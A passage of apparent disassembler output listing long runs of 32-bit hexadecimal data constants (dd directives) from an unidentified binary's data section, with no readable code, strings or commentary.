0A4C14D84h dd 64708D3h, 452553D0h, 0A11CBC06h, 4556A745h, 0A93BDB5Dh dd 3CC98207h, 6F24C085h, 7D7E0B06h, 0F2CCEF70h, 0A1D5D224h dd 0B12D015Eh, 6DC02331h, 4A6046CDh, 725D25A0h, 432BA76h dd 8B4E25A2h, 0F37036B7h, 4563B0D8h, 9D1D6B65h, 9188260Fh dd 896B8DCh, 0AE8BB027h, 4C9201DBh, 424BB1A4h, 46BA7B8h dd 6556C679h, 7A605E9Fh, 17A985EAh, 0D17AD05Eh, 0BB17B0A7h dd 44447417h, 1D078742h, 50062F2Eh, 8660065Bh, 1D104744h dd 81D13C74h, 561D1760h, 52F2B98h, 125D9933h, 817E80D4h dd 141B4C07h, 0FC951CCDh, 26E6A29Fh, 286A0903h, 0A2C45810h dd 0E09AF7h, 23E9D1Ch, 1AD43A79h, 0C2755AA4h, 908CC647h dd 51354126h, 44086925h, 0E8C45328h, 88D53063h, 5DA12296h dd 0C7B965DAh, 15A9EEA4h, 49545E9Ah, 4030B5A8h, 7A288C5Bh dd 145E8EB9h, 9680E6CFh, 0D0C0046Ah, 8BA550F1h, 2B65A023h dd 2E012153h, 0B7584BA8h, 141F5091h, 9892054Ah, 35A4DBB3h dd 24C20D4Eh, 52520815h, 64B237Ah, 7187D98h, 41987E22h dd 0D018C418h, 0C208C409h, 52039654h, 960B1D41h, 0F2F2B1C6h dd 32381A80h, 214E5F99h, 0A2DE282h, 164D2A34h, 0C1696C1Eh dd 51905174h, 772C00ECh, 592C0953h, 2EDE0953h, 0BC8C6088h dd 105097Eh, 0E02960B0h, 0B9649D1h, 992DCC18h, 69F46AA5h dd 5E8352A2h, 0D717EE95h, 0DACFD87h, 0CD0D475h, 928E355h dd 941E0EA8h, 675717ECh, 208B183Bh, 0D4F77930h, 634D5080h dd 0DA831Ah, 3B9A6058h, 0EE255E63h, 65B24F53h, 17342401h dd 93D0371Fh, 802EB2Fh, 1627D881h, 0D62980Eh, 5709834Ah dd 7A84694h, 150A0710h, 35B8E38Ah, 2DA11073h, 26B52261h dd 0DD6E64F7h, 0D8722C0h, 0E76B9493h, 446660C4h, 73A8F57Ah dd 0B9C22D15h, 69F082A7h, 177FC748h, 73761717h, 4BCD4BE5h dd 54DD5801h, 74555810h, 0CED4A0CCh, 0C12C5735h, 0D3293C8Ch dd 0D5572B5Eh, 8DABC7ACh, 9C071879h, 406D61C6h, 0B5AEB060h dd 0CEB1459Bh, 5D04843Bh, 6CCB0616h, 1EE3E81h, 0C850AC25h dd 1B1574FAh, 7A0ADE41h, 0EA26C40Ah, 1474F33h, 0A90034ACh dd 7E5B9D6h, 3026188h, 18958042h, 0A810DE9Dh, 0BE15A63Ah dd 40280738h, 0C02ABB89h, 0CCB423EEh, 0A0632D20h, 66B645ABh dd 92D8C5D0h, 1C15D9CFh, 36B24877h, 30962E23h, 59854122h dd 0F0A5692Dh, 5D03B83Ah, 808027C1h, 81C95CC0h, 68475B27h dd 4C8D965Dh, 991D8D02h, 2042E040h, 0FF5B172Fh, 0F628A080h dd 436A86Ah, 9A054B13h, 56554364h, 66C2B982h, 40272h, 0F6AC215Bh dd 3044A678h, 0C411A608h, 98E2B70Eh, 4B60B109h, 0A63B8145h dd 8705322Dh, 87711BB1h, 0F1475347h, 0D796FDECh, 0EC8D425h dd 0A15E1804h, 0D4590590h, 0AE7383A6h, 4AA8773Ah, 7ECEF014h dd 0B23A016Dh, 6E600A73h, 97E870C8h, 614092A8h, 0EED74E90h dd 28FA608Dh, 0E52C90C0h, 1AE2A4C1h, 88CC0B29h, 4D293675h dd 0B29BA81Eh, 608857C9h, 6123CF99h, 0AE5151h, 63B519D5h dd 0F8352681h, 34201AD4h, 74B934C4h, 0F0E79D73h, 1A6F3498h dd 0C66A8446h, 0C99C86BCh, 0BE1B0128h, 106D46ADh, 6C566108h dd 7CA5800h, 4DD03FB0h, 0C0C56110h, 505C48ACh, 58539879h dd 4004B370h, 94A1021Bh, 0B011AD15h, 5AF011F1h, 0F76A23D3h dd 0E7D5BDC7h, 43B39176h, 23176223h, 0EBE38FDBh, 8BB8836Dh dd 0A8D5E8B5h, 2AA56566h, 0B29F50A6h, 52E9548Ah, 3D1A8953h dd 0A0D6AB14h, 3AB50A9Dh, 4D132ADAh, 9A984EF8h, 4750304h dd 51A60529h, 3369A5D5h, 85060B60h, 31AE8E01h, 2B31E903h dd 6428DA53h, 9A059ECDh, 63257897h, 594A39D0h, 968BA12Bh dd 84EA5E4Ah dd 0DB61B95Dh, 8ADBEF4Ah, 0A97C5DCAh, 16B200E2h, 8804B955h dd 2F497856h, 5E0F0321h, 362D83C6h, 0E7709930h, 68C71B8Ch dd 4EC00F98h, 97E2A859h, 1A24DEE3h, 0CFFDF036h, 0BA5ED94Fh dd 4CE6AD97h, 0C77C6224h, 0EB3A4C14h, 0FF25D5AFh, 4735798Dh dd 541FB101h, 0ADE0E25Bh, 0EC2CC649h, 0C3BEC32Ah, 0B74AE9BBh dd 97FB63DEh, 0C069E0DDh, 0CCD9DF89h, 4E092B49h, 5F261A8Fh dd 0BEF7F1B3h, 0A6E1FCCDh, 0C32496Fh, 967A6E98h, 4BFE8E95h dd 0DCD4EC2Bh, 9DAC47E6h, 0ED52A8CFh, 0B316DE34h, 0C751C893h dd 0C0F61C7Bh, 0FD677FF3h, 85F80FD1h, 0F23A7EADh, 46C7CA83h dd 59E524A2h, 985856DEh, 4F3890C6h, 0E5DFCB6Ch, 0B29B1386h dd 9BA9D52Eh, 70AB2EECh, 0A5AAED2Eh, 0E4F0B038h, 5965CB25h dd 0A1F459A9h, 778C246Bh, 5170C598h, 0E168EA36h, 0CE3C67D1h dd 69269ECh, 0F99EB616h, 6B0EFA5Ch, 3416A884h, 5B83A48Ch dd 0C22D9378h, 0F532EF48h, 93ED779Bh, 9A6CE19h, 1C9CD2B5h dd 5D8A753Fh, 959CADFCh, 0EDF2EB47h, 0BB058FBAh, 18B1E96Fh dd 11427C8Ch, 242205C7h, 0C67EBFFBh, 0EC87AED9h, 50D27DF4h dd 7F935F2Bh, 0C5C78D67h, 0F3426D58h, 5D717DDDh, 0CBE76E9Eh dd 4EBEB4FDh, 2DFEA50Eh, 0A8E32D10h, 5CDEAFB3h, 838FC679h dd 0BE0ADC8Bh, 5D28EBA8h, 48872CBEh, 0F91A8508h, 72774DF6h dd 28589BCEh, 0DE2702A1h, 827CE918h, 0BCDD6F85h, 569CC67Ah dd 105DB287h, 87A9E6Fh, 5EA1E246h, 3036DED2h, 88094281h dd 40F46A22h, 26F964D2h, 8AA24263h, 365E4A72h, 8989E2DAh dd 7FFAAA28h, 25BF137Bh, 0F928A89Bh, 1CB45A76h, 0A2C24D62h dd 5C792A8Bh, 8994935Ah, 79EA3027h, 4A945B3Ch, 0A32278E4h dd 0B4F9C28Dh, 9B5EAE3h, 316A3625h, 9739ACBBh, 0A8E09758h dd 14AEB2A3h, 0A5A6F256h, 0A2F6ED56h, 12E94AEAh, 7EE83BD5h dd 1F136B53h, 88E0D480h, 4D5F7ECDh, 0EE521122h, 132DA4B5h dd 48849FC8h, 7F67548Ch, 4F243BDFh, 0BE524138h, 58FD44F5h dd 49441D48h, 564D4984h, 0B7E0A067h, 949C4B85h, 0BA1D0A52h dd 813F92FEh, 95194A44h, 937249D7h, 14A84F6Ch, 0AB895A52h dd 0B13BFB3Ch, 0AE754B04h, 0EF58F5F8h, 0B52D1351h, 0B2BBCF14h dd 0B84F36BBh, 0DB4752F1h, 27735C14h, 514C04B2h, 40FE34C5h dd 31098406h, 0F548A16Fh, 29766532h, 0C8E5FF1h, 0D0533126h dd 1BEAA419h, 4D048C54h, 0BDFD6535h, 0D4C409Ch, 0EECB5592h dd 4194D825h, 520B8D5Dh, 4DC4DC74h, 77732538h, 1391D0E9h dd 1C53912Ah, 7ABA0D45h, 4E84CCFAh, 0F1DDF53Bh, 13505337h dd 0E153C12Ch, 75AE4F15h, 4F44E5E2h, 0A83E353Eh, 12E65EC7h dd 7753F134h, 7B8D9759h, 6004FE18h, 0F7D75604h, 4B04BE2Fh dd 4358212Eh, 5ABF8685h, 60C4F64Eh, 6C91A584h, 12511EB1h dd 0C8D6144Fh, 4FAFBD5Ah, 2AB0C515h, 0BCF1B64Bh, 0E24AEA7h dd 72F1AC40h, 99CB0C9Bh, 0D5CE9F49h, 0F9507E17h, 243C7DCh dd 61BA31EFh, 5F839BD6h, 0BEF6BD57h, 8376EF75h, 0FE9E6BEBh dd 0BAB7C5EEh, 5AAB3FC2h, 0DA65158h, 0D1716FB6h, 3856BA1Ah dd 1E1043B3h, 0F88C6E8Fh, 1C89CD61h, 7713184Bh, 0E9F91FD6h dd 0EFDB9464h, 0E49C7A05h, 0EF57CA99h, 6F37DC98h, 0AC28AE7Ah dd 794C86C4h, 339C4B3Ch, 7687B6A1h, 4FB97BEEh, 0A716992Ah dd 0BF597F99h, 0C94A9227h, 0B3F5D69Dh, 6AEDFCBAh, 0FC5EB147h dd 0A5632334h, 4B67633Dh, 5E0D773h, 0BBBE5C1Fh, 0AB7C9B4Ah dd 0A539AB14h, 5FBB7098h, 56A0359Ch, 8CE4A43Bh, 0EFD8F64Bh dd 0E2B3185Fh, 3FF6793h, 4CCA444Dh, 0D62D187Ah, 56D31DA7h dd 0C7FE6C90h, 0D97433B7h, 0A4A7FEB7h, 0D1DA46D6h, 8E458055h dd 0FDE84727h, 79F35424h, 0A77A7E56h, 1150A295h, 0FE329FE5h dd 42CBE336h, 8ED7D50Ch, 2E8E0BCDh, 0AD5434A3h, 0F6C9F4ADh dd 50E2B5EFh, 683FB543h, 0CAF321BFh, 44D51025h, 0A015FFEBh dd 92BC7255h, 28CEC793h, 0B0BCEF21h, 2D5434E8h, 683B1AFCh dd 18375B82h, 0BF1C8BDBh, 0A5068885h, 36DF7A55h, 948B0CBDh dd 0FAA2A253h, 420AABBh, 798AF889h, 2FD0F07Ah, 2BF174F8h dd 18D46B0Ah, 0EE04D3B7h, 793C2CEFh, 49B2BE73h, 40C2C608h dd 16D282B6h, 9080BC8Bh, 41B5DC2Ah, 400998Bh, 40622BF2h dd 0FC0B2717h, 0D3381F10h, 8AA5D0A5h, 0E1001C15h, 50807503h dd 5DC7066h, 60C90555h, 0A6F88ABEh, 362480BDh, 0E0392EB7h dd 408E60A1h, 56FAE004h, 6884AAD4h, 0A9847918h, 6A011B73h dd 4784CAD7h, 0ED370297h, 430541CAh, 6B307FAEh, 499159A4h dd 0B4D4DCADh, 90B143E7h, 0A665A726h, 66C48B59h, 491DB319h dd 9A94B158h, 661373C1h, 455D0168h, 5436B95Fh, 97CB88BBh dd 26383085h, 94330064h, 8B505662h, 40C23B83h, 0D985C8h dd 106EB645h, 7B1AB480h, 83E5206Ch, 0B0695B00h, 908DB4AAh dd 0BE2835DCh, 71F0380h, 0E0B102ADh, 0AC10554Ch, 0E2D2AE22h dd 0C5556D16h, 22BA56C6h, 0CCDAED36h, 11B2031Bh, 99B7EAD8h dd 0B840980Eh, 0B88200Bh, 0A2BD88D6h, 35FA94B7h, 81098B15h dd 0B44406A0h, 0EAADA501h, 0A863C1Ch, 3712C345h, 6F612C05h dd 3100B13Fh, 0CC309099h, 30064020h, 0BB048BF6h, 3416D771h dd 4B20510h, 29304230h, 0E20219E6h, 26C60C00h, 807A17DBh dd 3198B102h, 8EDEDDC8h, 0C59CC20Ch, 0C188DB93h, 644708B0h dd 401A5675h, 0DAFC0F8Bh, 0C0081FBAh, 0A868D62Bh, 4987F2E1h dd 2CD75316h, 0B57EAC60h, 3C50C8B3h, 8C18D002h, 82F8A15Dh dd 15C102DDh, 69752558h, 4D2CECC6h, 8C18010Dh, 0B5FCF0CBh dd 5AD14595h, 82010311h, 869704A8h, 0A3AC2602h, 108C0120h dd 711652A2h, 26BA8498h, 0A2801096h, 2B902528h, 715D49B0h dd 440A0051h, 6D070336h, 0B123B817h, 5FE786B5h, 5BED00FCh dd 38169618h, 2C465B53h, 17C9C145h, 608005Ch, 2A50232Ch dd 4649AA82h, 91155014h, 5D46001Bh, 0E9636B0h, 822BC370h dd 112EDF88h, 42BE582h, 315AD82h, 5712E02h, 25785222h dd 2596D534h, 9603157Ah, 7E022220h, 4EB504A3h, 698314h dd 2252927h, 0F8EA7119h, 18325341h, 9D50E116h, 0A4CBB802h dd 83FDD0h, 3A2E880h, 12B5AD61h, 19445531h, 196942EAh dd 0B2272BD2h, 88042BA3h, 0E3BD6F8h, 4549EC67h, 1CB02EBh dd 7848680Dh, 1844090Bh, 6DBC08ADh, 0C5C9841Dh, 9D779CE7h dd 0D1007C8h, 0A8034D18h, 2299A714h, 4E98A712h, 4455C1B5h dd 0FB06730h, 0C7312730h, 44C2130Ch, 4C410088h, 108188ACh dd 505C2EFh, 6422B707h, 1131420h, 19036917h, 61E60C4h dd 0F2385EDh, 0A024A464h, 66F65CEh, 78851831h, 452202CCh dd 38A1A77Ah, 0F5188381h, 0CDB8D41h, 936BF383h, 39810D1h dd 2A549AB5h, 14ACF6F7h, 53A8D317h, 604CBECEh, 0DD61F014h dd 0A4B73961h, 4B21EAADh, 26880526h, 2A15701Fh, 5DB81AB0h dd 4E86FB67h, 8A4AD729h, 7125908Ah, 0FD8CED90h, 0EB8B9482h dd 4F74B313h, 0B81796DAh, 551F65D0h, 7409030Fh, 38A9BCCh dd 0AB5FD265h, 9325F4A6h, 185B4554h, 40A1B0A7h, 0D3D4ABAEh dd 9AA53AA9h, 34520D95h, 0AAE2BDh, 0F75A6E16h, 39230621h dd 0C034B296h, 0B15C969Ch, 16756E45h, 3E654BB8h, 45BA7018h dd 95E2B547h, 0DFDBBC38h, 86D84825h, 74C62BD7h, 1CE4C473h dd 0FE8884ABh, 0C951A458h, 15A61EF5h, 0C09820B9h, 0D8EDD2EBh dd 159DBF8Ah, 99959209h dd 0D481DD02h, 0BA8AD945h, 0B0CB4503h, 0CB2A2A01h, 6465AA18h dd 456C4023h, 6322C592h, 0E9AB5157h, 0D8359D46h, 1656CF6Ah dd 0DD96C21h, 0F6BA83D2h, 0F0202090h, 28D5C01h, 52BC8087h dd 0CD011DE0h, 0CC14C12h, 0F005115h, 0DB71460Dh, 1746050Fh dd 33822A7Dh, 0A35105D5h, 0BF90D33Ah, 3058D4E8h, 74E6C865h dd 0C4318B2Ah, 0A903015h, 313201A2h, 9EC5C143h, 0D35135h dd 0ADD4A740h, 0E5B98449h, 87F26A75h, 2C201D58h, 7E296319h dd 86FE500Ah, 15EDCE1Fh, 5B2019CEh, 0CD512C2Eh, 2A96E06Fh dd 725CDB6h, 790315Dh, 88D80C7Ah, 39DA011Bh, 0BE88042Ah dd 9A377640h, 0EF02580Ah, 78155217h, 933DCB44h, 0C28444A4h dd 60ABBE60h, 2300A9D4h, 0AD0284B2h, 2C551681h, 253C041Ah dd 4008D918h, 62092776h, 80EFF802h, 81134F20h, 716E2B4Ch dd 798C38A6h, 195383Ch, 0B20CA1CCh, 2A66040h, 758D01F6h dd 0F12E423Dh, 9847ED63h, 283D780Ah, 1FC30A74h, 0D28445Dh dd 8C15650h, 7028A04Ch, 0A1F7E13Eh, 844C10A4h, 45D3CAC2h dd 5684F828h, 9941518Fh, 1400650Bh, 1300CC8Fh, 4E12D645h dd 0D42CF378h, 83C4614h, 82094607h, 4D632E3Dh, 309F21F4h dd 8BA891E4h, 12308440h, 0AA38124Ah, 243A31C2h, 717C4872h dd 0BC60A306h, 98EE488h, 4269874h, 3E7D5421h, 0DD642529h dd 5312B7A5h, 944B7297h, 0AD29075Ch, 0ABBF642Bh, 2FAFABh dd 41232277h, 0EA401EAFh, 118A12D2h, 8E8C7498h, 7D55011Bh dd 68143034h, 0B8804252h, 3E021342h, 0AA3038D6h, 9A4A1299h dd 6AC343FCh, 0C2174182h, 2FF27477h, 8CCA0308h, 2751881Eh dd 0F57253F2h, 0FBCF4FCEh, 0FF413F39h, 1D24FCD8h, 74D3F25Dh dd 0D44FC83Fh, 793CC023h, 0D99F0838h, 674A9546h, 0AF810DCCh dd 0A9564876h, 9CFA93CEh, 63103DCBh, 0F6B447E4h, 73E2C41Bh dd 912F9A79h, 0D84FB7FFh, 469C7396h, 75AA373Dh, 0DF9668DCh dd 0E0C6E82Ch, 41ADD48Eh, 279D04FAh, 81224F31h, 88F6364Ch dd 0E1912ACh, 81B92825h, 415123DBh, 0A7297DE9h, 8533E062h dd 0C90E998Ah, 0B346E6Fh, 0AA099800h, 21C5152Ah, 0A2C3B59Eh dd 0A20C1700h, 11A038D0h, 0E51EA541h, 70F14608h, 47211E01h dd 2FE46E84h, 0E5824092h, 86471E28h, 63048CB9h, 60E8CF09h dd 0B46A0FAFh, 0F534CF78h, 0E0FE0A95h, 5241DACDh, 55060B51h dd 52AB0C6Bh, 1207181Dh, 5988098Bh, 0FA683732h, 38A8C0DDh dd 832F0A2Ch, 0F664DA1Ah, 4312DFD6h, 9961F3B7h, 5B43BE55h dd 881F2575h, 0C425E554h, 0C8DCFD5Ah, 1C22369h, 6407CFC0h dd 38C32D4Bh, 47E6C2Dh, 6A707E54h, 0AE4B646Bh, 58AEA0E1h dd 7E2AB747h, 0B7E6EC9Fh, 95EBC279h, 0C06207A9h, 57B640DCh dd 9B5F1B83h, 0F22D836Ah, 0FCA6629h, 3CE427D1h, 2C63850Bh dd 527169B9h, 0F2C62911h, 0B91BCE21h, 372A5573h, 0A145638Fh dd 0AE121A02h, 0F2A28C39h, 0A6213B71h, 5A597172h, 83C8A02Bh dd 4E27F23Ch, 9E4923CCh, 685423EEh, 858B31E6h, 9D391D01h dd 6C04B831h, 0C75EE3A9h, 98C49C50h, 7E5C585Eh, 6085202Eh dd 4C78E7A3h, 0DB1911F6h, 105A7F22h, 684C5559h, 63034BE1h dd 1F5EDCD8h, 48E40F04h, 34116A0Ah, 3EE3C344h, 240F042Bh dd 3422513Ah, 0CB9C8B57h, 2409B816h, 56747B10h, 9FD8A47Bh dd 689FDAF4h, 7BC09FDDh, 0E47A1921h, 4FC89F5Dh, 1C9C4857h dd 0B03D9807h, 0DD75C224h, 40000000h, 5000h dd offset off_423000 dd 3000434Ah, 0 dd 3FD40000h, 257C20E8h, 0D21220h, 9AB5F1A0h, 74AFE9F9h dd 14B9BEEBh, 0D67B95B3h, 0E676586Dh, 91142D02h, 152EC854h dd 8596598Ch, 0B759979Bh, 4A0EBF69h, 0A408ADE1h, 14E04C02h dd 0E6A00470h, 319D5029h, 8B006EF6h, 4135FD10h, 9030BEB4h dd 14D59880h, 62B10BB1h, 0B66BDAC3h, 0D36AD92Ch, 2DB63DA2h dd 0C2E3B5DBh, 0FCBAEB7Dh, 0F78B7252h, 3283DDAEh, 0D128CDE9h dd 3D2242A1h, 0A5D3B46Ah, 0EA7D934Ah, 52A929B4h, 0B56A42A3h dd 0B35AD52Ah, 3ABBBD62h, 0AAA822C0h, 0AF842C08h, 0C284B05Eh dd 2821B84h, 90344603h, 2BC94234h, 769B2C18h, 0A1D2390Ah dd 73FEBE99h, 2502A660h, 23D0FE2h, 0F074FD80h, 6A664060h dd 7FC97DA2h, 8B6EA60h, 0AF509406h, 0C973AC60h, 427153B6h dd 52BEF45Eh, 0B4D6A23Eh, 42058275h, 28086903h, 0C4C67518h dd 56D4F6ABh, 8B9D02BEh, 7BC14E64h, 637E3EC7h, 69EFF942h dd 35FF63A2h, 1B10A091h, 181D004Ah, 35A15015h, 0EB40FB31h dd 7A313082h, 4C985AB1h, 60DC3F62h, 42717B5Bh, 0B13E7C40h dd 80F342h, 1129060Dh, 0F6018610h, 2CACD89Fh, 2503814Ah dd 8947180h, 2A50608Ah, 0C9426128h, 0A50CD4A0h, 9D095283h dd 30E54A10h, 0A2CC4E85h, 143D0B47h, 830A7901h, 0A24C9628h dd 14855114h, 0C2150903h, 869D3A6Ah, 4AA4053Ah, 4D825063h dd 3055C315h, 0AD8C2ABBh, 5290967Ch, 4A38315Bh, 0AB3A2570h dd 160195C9h, 2C10CC6h, 882CAD3Bh, 11921609h, 52941A76h dd 21682C8Ah, 0B48CB3CCh, 0D3B65A43h, 0DCE6E169h, 0E9D1ED41h dd 819820BAh, 8B32883Ah, 3E61A1A2h, 881D6865h, 0F43285D1h dd 0FE2B18C1h, 8023B7A3h, 29FC276Eh, 0AF6CE0F2h, 36E8740Ah dd 9EB37AAh, 45000D2h, 62F3944Ch, 26D124Ch, 0BB3900BDh dd 0DD4F4FE5h, 8538055h, 39F9FA58h, 5417147Eh, 8046C3Dh dd 0AB093B13h, 3D23094h, 0F4CA0777h, 452B656Ah, 24A8010Ch dd 0D28A2251h, 4BB90944h, 32962518h, 0D257E842h, 6951D128h dd 2455C4A3h, 5FCF128Eh, 0F4B328F2h, 12B03A11h, 4AD10948h dd 44972521h, 85E1E642h, 579423CAh, 5E922DA2h, 0FC4BB489h dd 5608CA25h, 3CB47903h, 35561AA1h, 0EF41528h, 81A780B0h dd 9FC6093Eh, 56F0114Eh, 0B614D820h, 63043810h, 23D8A3A0h dd 9D84ECBh, 1E8FD4A1h, 0EC8AE47Bh, 47B26411h, 0D713D92h dd 0AD268F4h, 0A4AA032Fh, 0A7C318F7h, 0D92644Ah, 0BC58D62Bh dd 2E96BF65h, 0B956CA5Ch, 0CE8A9B7Dh, 42C129C5h, 0B80265EFh dd 0AA89F542h, 0A6253584h, 80945412h, 8252484Ah, 944E129h dd 244544A3h, 0D10F1282h, 12F82FE7h, 4BD0C245h, 2F0225ECh dd 0BB099791h, 0E6255DC4h, 70967512h, 2D42C04Bh, 0B309C18Ch dd 0C2255A04h, 0D8956312h, 2255784Ah, 894EA12Bh, 0C11584A8h dd 5E9C1284h, 7E4B2816h, 62C8A5CBh, 97F6D786h, 0BB21C09Fh dd 2A760197h, 0D0501297h, 566079AEh, 41725811h, 28F61490h dd 2177192h, 1732524Ch, 45005CC2h, 0ECA0AC20h, 84614609h dd 906FAC18h, 33F8065Ch, 6F4C7ADh, 0C06F65C8h, 201B7F5Ch dd 30E40197h, 30DB004h, 187ABE01h, 2F004402h, 20605CC3h dd 0CB93740h, 0F5BA972h, 0AC3290DBh, 6A00C10Dh, 9711E643h dd 5BC48618h, 703F285Ah, 36D3A2A9h, 36EAF00h, 2436D6F1h dd 0C70D3FAFh, 18B2C0CBh, 0A2E9A802h, 0BC105A04h, 2191660Ch dd 4A48D940h, 292AA590h, 0A4C99631h, 0BC015844h, 0FA675E0Ch dd 7B3DDF0Bh, 0C65FE1D8h, 1091F7F5h, 8F0B300Ch, 0C1830A22h dd 1B5C0284h, 0F87C0818h, 81DA1830h, 0AA397FE4h, 5428A153h dd 0EE7CB1FAh, 14138C81h, 0B783280Bh, 3CC10A0Bh, 929D2A66h dd 72038A47h, 6D40A55Ah, 97CD32E9h, 50947A8h, 0E4AD288Ch dd 0D3278254h, 1977A558h, 94984ECFh, 0A6977881h, 80500047h dd 469AC928h, 0AAF3CBC0h, 0CD9195B0h, 79F182CFh, 0FF015680h dd 0EC61A680h, 9448026Ah, 39819406h, 0C3B11A8Dh, 12BF0A18h dd 9A08C648h, 4CB7B6CEh, 0C19912ECh, 22C6220Ah, 0C45AFA84h dd 87A2B390h, 0A449A1C3h, 65B3D24Fh, 524114C0h, 46531164h dd 0FE4CBCDFh, 3444209Bh, 799C6F1Dh, 2E9DD0FBh, 83E1E39Ch dd 0DC2538ECh, 6F179EDAh, 3BD07A8Dh, 64BE3B69h, 3A9FAEFFh dd 0E0CE58D6h, 0DD7C19F5h, 1D05DC72h, 75F9AD0Eh, 9DFEC6CAh dd 0EDC0E3BFh, 0E5308289h, 0A727C4B1h, 373F5B93h, 8FDE9D5Dh dd 0EDBFFF49h, 0C67A03D0h, 9A3E8DE0h, 0A8A0701Ch, 0B6BAEB27h dd 738DEF30h, 3C17AC9Eh, 0DEEEFBDCh, 0F9CECA11h, 77ED3BBDh dd 87A1FEFDh, 0BC7C5546h, 0A65FF35Dh, 0C9A8CF94h, 845F84C0h dd 0D7169288h, 789F55F8h, 0BD3FF1F1h, 0F72DA3BEh, 5EB253E7h dd 2D97E1A5h, 0C8C3BCFAh, 0ED0499C7h, 0A3A3B4DAh, 45E167C7h dd 0E18434Fh, 9348975Ch, 285EA5DBh, 4E73A6D6h, 0EE364D3Eh dd 99E33B9Ah, 0ECF75EDAh, 0F62F7E5Ah, 0AD7F8A50h, 0BE1A3D92h dd 2A9CC69h, 4DEC1907h, 0EE2EA5C6h, 0B1253D1Fh, 7F3DB44Fh dd 0AB2BAEE2h, 0C9F7BB3Eh, 41EEF8F9h, 0DD4CFA2Eh, 0F2F2EE02h dd 0AA5E4E6h, 496E0C54h, 9CDE60E2h, 3009ADF6h, 0DC676004h dd 0BE8EFB9Fh, 0DF83B0AEh, 24EFE002h, 0C6E5B5ABh, 2C1FBF4Fh dd 0FA7EDD1h, 0C67CD4EFh, 0BEDF2CB2h, 3BD05588h, 0F094A3F1h dd 3D6787C8h, 0EE3B78D9h, 6DAD174Fh, 7C1740D3h, 0C37A36CDh dd 0E7BB7B37h, 0EBCBCECCh, 6FFACA15h, 0BC2FD5CAh, 7587DE73h dd 0BBF3E92Eh, 43B20911h, 6FC3357Eh, 6FB2FA65h, 37244DE2h dd 0CD4E995Fh, 0A273EE48h, 0F35A7775h, 0EB3E6287h, 39A2F3BDh dd 0DB1EEB29h, 0B249EB63h, 0C5BC7983h, 0E6361F1Bh, 0E8E9DD4Eh dd 67831C5Dh, 0D4EF5AADh, 0DD7C7ED8h, 0DD2F912Dh, 0B7D9EF5Fh dd 57F7C6C1h, 27A2C2Ch, 0E4A44409h, 7FD45F4Ch, 0DF759FD5h dd 26F24A8Dh, 0A3749A1Fh, 59F5C97Ch, 6E63BB5h, 977C8EF7h dd 238148EAh, 0FD4E1FFFh, 0AB1C9E94h, 31E0A337h, 921C9687h dd 71826B27h, 0F7044F46h, 79DFA3E5h, 58847FBDh, 3E8F7311h dd 4D0346F6h, 0C2511E1Bh, 7DB63BC6h, 37ED6850h, 533B66EBh dd 0A523CBA7h, 0F7528C73h, 0A9CE3332h, 0BEE07215h, 5A5C9B0Fh dd 16D655FBh, 0B46C119Dh, 7A9665E2h, 59DBA23Ah, 925A7E89h dd 5B36C425h, 0EA7A4F92h, 0ACE69A53h, 4D2EE75h, 0DC2B3EB3h dd 0D1C6703Bh, 0BCF8EFEFh, 5F238F67h, 0D4308AD5h, 0C53A3CDFh dd 0B17F7228h, 0F5F09765h, 0F6224CE3h, 0ECFF6CA5h, 0C882171Dh dd 0DD883BA5h, 0A0F57774h, 0E5C752FDh, 822E129Ch, 8045B61Dh dd 88E22E32h, 0C4648AF7h, 9A9FD822h, 2A6682C2h, 854DD998h dd 0F0B47320h, 72803FB2h, 0E8DCCE46h, 8843F3A3h, 0A4A00901h dd 427CE410h, 8A6D5185h, 2ECC9211h, 0EF9AF93Dh, 0F430FA67h dd 5C974963h, 497A6025h, 0D884A250h, 6D24E0D0h, 18517AA1h dd 7E5FC701h, 81E2FAE5h, 0E4C92E23h, 0FF227FFDh, 32A75108h dd 43C27422h, 487890Fh, 78C08562h, 7947E010h, 83414364h dd 300C2090h, 719CC7A1h, 0A1281480h, 44AC008Ch, 1282E251h dd 89218944h, 0C89725F8h, 0C25DF04Bh, 973712Eh, 25C044BAh dd 96C112E4h, 59C44B70h, 61122D42h, 744AB209h, 912ABE25h dd 44A9D895h, 129EE255h, 4A588951h, 28C22534h, 0A1099481h dd 68115104h, 0C4455722h, 8FA021Fh, 25E00F80h, 972112F2h dd 5B444BA8h, 68122DE2h, 944BB509h, 12BCE25h, 4AD1096h dd 12ACC257h, 4AA00958h dd 2A422554h, 0A8099531h, 9A255444h, 48944F12h, 0A2502C4Ah dd 9417128h, 4418C4A1h, 10F12FEh, 7D0950FAh, 0EE25C004h dd 98977912h, 2A1BD44Bh, 0DA0010ABh, 2D02C021h, 0B1898EB1h dd 0BC255944h, 0D0956012h, 255704Ah, 952912Bh, 252C84AAh dd 9461129Eh, 41124A40h, 0D0F62289h, 4BA8FA43h, 2E4225D8h dd 9A1C9741h, 0D8005588h, 2CE24021h, 0B2098E91h, 0C0255984h dd 0E8956212h, 4256784Ah, 954B12Bh, 254004ABh, 554512A4h dd 10C4A78h, 6409CC98h, 5A93A004h, 71C04612h, 0ABAE8023h dd 410A011h, 0B81C63E3h, 43A25230h, 22C4412Ah, 0C48BC674h dd 9385C9ABh, 536A00C6h, 676ABA8h, 0A7F5FB3Ah, 0BB3CDEEh dd 12BB7F7Ah, 7AE389F4h, 8E7F88C5h, 232B9C98h, 2C10D108h dd 20708852h, 7F832478h, 0CCB26285h, 43842655h, 914042E4h dd 25947170h, 0D48422A2h, 7182FD44h, 42601F1Dh, 0FE4F12B9h dd 32922DDBh, 7E12C420h, 249C74C2h, 93E97770h, 0A2CC1383h dd 0CF9324F4h, 767D08A4h, 924FB191h, 16BC4EEh, 422AA56Fh dd 0AFFD8A11h, 0F98D907h, 9A45E25Eh, 354C716Bh, 785251E3h dd 0BC405DD6h, 6317E935h, 0C05FEB5h, 83AD6900h, 9B43A526h dd 49442DDBh, 7484F7D1h, 70D8E3E5h, 81EB7079h, 0FBF71F6Ah dd 7B16F7CEh, 7BBB5F3Dh, 0CA54E48h, 7102662Fh, 65B88124h dd 0ADCAD042h, 0B7DBBC3Bh, 42E4D96Dh, 0E755A5D6h, 0AB2988D0h dd 91C0CBC1h, 0E8134263h, 0CC59B240h, 0B8470350h, 3908600Ch dd 405235A0h, 297CF5C2h, 0E657698Dh, 0A7430189h, 8C227F8Eh dd 8331BD9Eh, 2C92F171h, 0F4320429h, 0FCDA4F0Ch, 0B87AB50Dh dd 0AB8B352Fh, 3F982DE0h, 0E9A1AA49h, 22FEDA96h, 41D20A99h dd 0CC7FB385h, 0EF41BBBFh, 6B12B150h, 